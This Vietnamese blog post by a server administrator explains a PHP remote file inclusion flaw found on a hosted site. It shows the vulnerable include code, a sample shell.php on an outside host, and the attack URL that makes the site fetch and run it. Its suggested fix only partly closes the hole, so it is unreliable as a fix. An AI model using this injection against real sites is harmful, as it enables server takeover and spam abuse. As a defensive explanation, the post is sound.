Lỗi bảo mật trong PHP

Dạo gần đây server thường xuyên bị quá tải và bị lợi dụng để gửi spam mail mà tìm mãi khôngg ra nguyên nhân.

Hôm nay mới phát hiện ra một lỗi cực kỳ nghiêm trọng của một website đang hosting trên server. Và đây là chi tiết:

Trong thư mục gốc của website đó, coder đã đặt một file index.php trong đó có một đoạn nội dung như sau:

<?

  1. $page = $_GET[‘page’];
  2. $mod = $_GET[‘mod’];
  3. if (!$page && !$mode) {
  4. $page = “welcome”;
  5. }
  6. if ($mod == “traodoi”) {
  7. include(“forum/forum.php”);
  8. }
  9. else {
  10. include($page . “.htm”);
  11. }
  12. ?>

<? $page = $_GET[‘page’]; $mod = $_GET[‘mod’]; if (!$page && !$mode) { $page = “welcome”; } if ($mod == “traodoi”) { include(“forum/forum.php”); } else { include($page . “.htm”); } ?>

Tai hại chính là ở dòng có màu đỏ. Từ đây hacker đã có thể lợi dụng để làm backdoor tấn công vào server. Ví dụ, hacker tạo ra một file tên là shell.php và đặt trên website của anh ta ví dụ có đường link là http://www.conkhi.com/shell.php với nội dung như sau:

  1. <?php
  2. phpinfo();
  3. ?>

<?php phpinfo(); ?>

Rõ ràng khi truy cập vào địa chỉ trên thì đoạn mã PHP đó không chạy được. Tuy nhiên, đoạn mã đó sẽ được chạy khi hacker gọi từ website của khách hàng như sau:

http://www.website.com/index.php?page=http://www.conkhi.com/shell.php

Giả sử nội dung trong file shell.php trên là một RootKit của người Nga thì sao nhỉ?

Thật là kinh khủng!

Cách khắc phục đơn giản nhất là thêm một đoạn địa chỉ tương đối vào câu include như sau:

  1. include(“./”.$page.“.htm”);

include(“./”.$page.”.htm”);

Đúng là một kinh nghiệm đau thương. Và đau lòng hơn nữa là hiện tại rất rất nhiều website tại Việt Nam dính lỗi này mà hầu như chẳng ai hay biết gì cả…

Gửi phản hồi

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Log Out / Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Log Out / Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Log Out / Thay đổi )

Google+ photo

Bạn đang bình luận bằng tài khoản Google+ Log Out / Thay đổi )

Connecting to %s

%d bloggers like this: